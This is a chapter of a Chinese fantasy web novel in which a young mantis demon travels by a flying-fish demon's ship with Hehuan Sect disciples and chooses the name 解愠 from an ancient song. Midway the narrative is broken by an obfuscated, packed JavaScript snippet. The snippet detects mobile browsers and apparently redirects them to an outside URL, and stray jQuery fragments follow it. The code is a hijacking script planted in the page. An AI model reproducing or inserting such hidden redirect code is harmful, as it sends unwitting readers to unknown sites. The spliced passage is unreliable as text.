何清在一线天内哭喊的动静虽大,实际上成欢并没有真的以尤顼为座驾赶回宗门。
正所谓术业有专攻,蟒蛇并不是以速度见长的妖类,在大江大海之中游行还是鱼类更胜一筹。
祷过山城外南海中有一只飞鱼王得天地造化成妖,飞鱼王通体蓝色,胸鳍形状类似翅膀,能助力滑翔,化妖之后常常在海面踏浪滑行,向周围生灵炫耀自己灵活迅捷的身姿。
飞鱼妖在沿海修炼日久,不知哪一日被急着赶路的前辈看中,当场被捉住做了座驾。数百年后,飞鱼妖重获自由回到南海,所谓的前辈隐居不出,疑似被老妖熬死。
或许是载人生涯给飞鱼妖留下了不错的印象,从那之后飞鱼妖在祷过山城外开了家船行,专门渡人过海。
现在,小螳螂就坐在船行内,听着何清讲述故事的同时,欣赏水缸里漂浮的十几只小巧精致的船雕。
小螳螂伸出前肢戳动木船,笑嘻嘻问:“这么多船随便我们挑着坐吗?”
成欢正用灵通玉盘和千里之外的宗门长老商讨宗门事宜,尤顼团团缠着雪鸮吓唬。
只有何清有气无力地瘫在旁边交椅上边看书边回答小螳螂的诸多问题:“不是我们挑,是鱼妖鱼大娘挑选。鱼大娘喜欢宫廷楼宇,差使匠人耗资无数修成十数艘大船,形制各不相同。拉船的是鱼大娘,她今天喜欢哪艘船,那艘船就用来载客。前厅小池子里的是玩具,等会儿就能看见真家伙了。”
小螳螂前足一动,小船就翻倒在水缸内。这些小船的船底并不像传统海船那样凸出,而是深深凹陷成弧形,而且上头没有船帆。一看就是放在飞鱼妖身上用的。
“妖载船,船载人,”小螳螂问了何清一个危险问题,“你是不是见惯了做人坐骑的妖,之前才一直想叫我载你上天?”
“怎么会呢,当然不是了,鱼大娘船天底下只此一家。”何清矢口否认,目光不离书页,却跟后脑勺长了眼睛似的,精准地探手捞出即将沉进缸底的小木船,用灵气抽去水渍,再重新放回水面漂浮。
小螳螂见状更来劲儿了,仗着自己足肢多,一连掀翻了六艘,嘴还不闲着:“认识快半年了,就没见你翻过书。今天你怎么到哪儿都捧着书看。我看看……”
她跳出水缸,窝在何清肩头探头探脑:“原来是诗经,这不是启蒙用的吗?你看这个干什么?”
何清手指一点,缸内水流荡然飞出,精雕细琢的木船叮叮当当落在缸底。何清手掌再转,涓涓细流从缸底慢慢上涌,带着木船重新浮起。
小螳螂诚心要打搅人的时候,人最好是放下手中的正事,何清知情识趣地抬起头回应:“你之前不是想向我问个名字吗?倒是你,一眼就认出内容了,你读过诗经?”
小螳螂道:“那和你看诗经有什么关系?”
何清道:“起名的书我看的少,听说很多人都爱从诗经中起名,我不提前读一读,怎么好帮你找名字呢?”
小螳螂奇道:“你当时不是睡着了吗?”
何清回想了一下:“那应该叫‘疗伤’才对,内伤有点重,宗主师姐帮我调息,太累了不想开口说话。”
历练途中受伤很常见,但疼痛不会因为“常见”而减轻,何清不太愿意去细想,手合上书页,转移话题:“人的名前面会有个姓,姓为母赐。妖与人不同,你也可以只取名。我在诗经中选了一些,都觉得不是很好……你有想法吗?”
小螳螂眨巴眼睛,认真考虑了一番,没等她想出个缘由始末,船行内落地的大窗显出飞鱼身影。
厅内船客一齐望去,只见庞然大物在眨眼间缩成成人大小飞跃进窗,落地成人形:“时辰已到,贵客三百一十五位,请看顾好老小、行囊、同行妖修、奇珍异兽,一炷香内自行上船。”
话音刚落,宽阔的海面上凭空出现一艘巨船。船高逾百尺,以龙门桐木为材,砌成九层宫阙,雕梁画栋。
分外宽敞的厅堂内本来只有零星几人,不知何时突然显现出三百号修士,或御器、或御风、或徒步踏浪,各显神通越过船行和巨船之间的长沟入船。
何清惊得目瞪口呆:“这些人都是从哪儿出来的?”
“我刚才找到二百六十七人,剩下的就不知道了,”小螳螂围着飞鱼妖转了两圈:“这看着也不像是真身,像是幻象。”
鱼妖斜插在窗棂上的一炷香燃得飞快,已然过半。
成欢仍在与宗门长老联络,抽空点了点尤顼:“别玩了,带师妹们上船。”
尤顼不舍得放开雪鸮,收起利牙用嘴含住雪鸮,放大蛇躯,长尾卷在何清腰部,飞身过窗。
成欢身影一闪,已然站在船舱内,耳边听着长老汇报,眼睛盯住不省心的师妹们。
小螳螂自觉跳在蛇头上,乐不可支:“我们也踩一下海浪,踏浪多潇洒啊。”
尤顼依言坠身,特意将泰半蛇身落进大海,踩起数丈高的浪花,再借浮力飞跃上船。
小螳螂高兴极了:“就是这样。”
何清则被砸进海水洗澡。她立刻运转灵气,在护身的同时炸开水花冲上云霄,连带尤顼一起冲了一遍水。
蛇鳞非人衣,过水无痕且闪闪发光。
巨船下飞鱼妖已经就位,灵光笼罩整艘船,装饰用的号角中放出五弦琴乐并诗歌唱声:“南风之薰兮,可以解吾民之愠兮,南风之时兮,可以阜吾民之财兮(1)。”
何清的抱怨声和小螳螂的笑声一并被乐声盖过,船上回归安静,舒缓、庄严的女声盖过一切,直到乐声停歇。
有见多识广的修士感叹:“温柔中和之音,为人皇德音。鱼大娘能录有南风歌,可见经历不俗。”
小螳螂抓住何清鬓边碎发,喃喃自语:“这乐声我好像听过。”
何清一愣,扭头问成欢:“当今人皇上位多久了?”
小螳螂此前从未离开过招摇山林范围,按理来说《南风歌》只在人皇登基时候奏响南州全境,小螳螂也只有那个时候才有机会听到。
乐声中成欢找到借口掐断联络,耳朵终于空闲下来,成欢顺着何清的问题想了想:“当今人皇五百一十二岁,她是一百零二岁继位,今年是她在位第四百一十年。”
“那我没记错,”何清挠头,“可是这是不是不太对?”
一般而言,人皇的岁数大小算个秘密,凑巧当今这位即将殡天的人皇在合欢宗修行过二十载,留下了资料,何清才记得她的寿数。
如果记载无误,小螳螂今年三百零八岁,怎么会听过四百年前的乐曲。
成欢笑师妹多思:“何必多思虑,说不定是齿华大妖教子,特意找留音盘放给孩子听。”
两个二十多岁的青年人还在为妖修教子讨论不休,而三百多岁的小螳螂已经坦然接受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336387|166701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己对《南风歌》莫名的喜爱。
她原地耍了一圈螳螂刀法,兴致勃勃地宣布:“我要从这首歌里取名。”
“好主意,”何清捧了一声:“那你想叫什么?”
小螳螂兴奋地举起前足挥舞两下,双眼发亮地望着何清:“就叫‘阜财’怎么样?树妖说在人心里钱财很重要。”
何清从地上捡起自己被小螳螂无意间削去的一缕碎发,拼尽全力才扼住抽动的嘴角:“也许,我是说也许,你会发现很多人会在家叫旺财……”
小螳螂眼珠一转,敏锐地感知到其中的不怀好意:“什么意思?”
成欢为师妹剩下的毛发考虑,抬手用力按住了何清颤抖的肩膀,自然地解释:“阜财容易重名,取名一般都会用字含蓄些,不如取诗中相对的二字,‘解愠’,怎么样?”
何清牙齿轻咬腮肉好一会儿才止住笑意,抬头认真附和道:“‘解愠’好听又少见,和齿华螳螂妖一样独特,适合做名。时人多取单名,你二字,容易误读‘解’为姓,解姓音同‘谢’,是不是再取个姓比较好?”
小螳螂视线在两师妹中转了几个来回,勉强放下疑心:“姓从母来,我没听阿娘说起过她的姓名,外人叫她‘齿华’,我直接用齿华做姓吧。”
何清连连点头:“仙妖做姓能辟邪。平日就叫解愠,若有人正儿八经问起来再说姓氏,寻常修士不敢惹怒你,少生气,也就应‘解愠’名了。”
尤顼听到这,连雪鸮都不逗了,盘在成欢手臂上冲着何清张牙,阴阳怪气道:“看来是我当初名儿没取好,这才天天被你惹生气。”
看来这在尤顼那儿是很难过去了。
预防尤顼喷水,何清先捞起扎翅的雪鸮喂药粉,手持伤妖反驳师姐的话:“‘顼’有愉意,也是希望师姐高兴少怄气。”
雪鸮:“咕咕咕。”
尤顼就问成欢:“这孩子怎么办?傻了吧唧的,还有救吗?”
成欢对于医道也没研究:“先带回去吧,回头让柏恰带着她去北州雪山住一段时间可能就好了。”
柏恰是尤顼同师的师妹,两人师从合欢宗长老何润。近两年两人聚少离多,尤顼作为长老首徒留守宗门执行任务,而柏恰最近跟着何润在中州守在人皇身边,等着人皇咽气。
尤顼垂下尾巴在周围画圈立下隔音屏障,抱怨道:“因为中州的事情,这两年太忙了,既然病的快死了,不如早点去死。”
成欢付之一笑:“哪天真死了只会更忙碌,这一代人皇算是难得亲近南州的,下一代大概率不会像现在这样好说话。”
何清拍拍雪鸮脑袋:“要是老齿华还在,无论哪一任人皇都会亲近南州的。说来说去,无非是我辈不如前辈威名赫赫。”
镇守南州的妖修大能一朝飞升,从前被压制的各州府少不了骚动,余波至少震荡至新人皇继位。
在人的规则中,名声地位可以经由血脉传承,值得庆幸的是,小齿华留在南州、留在合欢宗。
何清叫了小螳螂的名:“解愠,你说我们会不会有一天,能造就比祖宗那一辈更好的世界……不,应该是我们会比她们活得痛快,对吧?”
飞鱼妖驮着巨船在海面展鳍滑翔数百丈高,小螳螂驻足窗边眺望,将前所未见的波澜壮阔尽收眼底,倏然听见熟悉的名字,解愠回望何清:“那不是理所当然的吗?”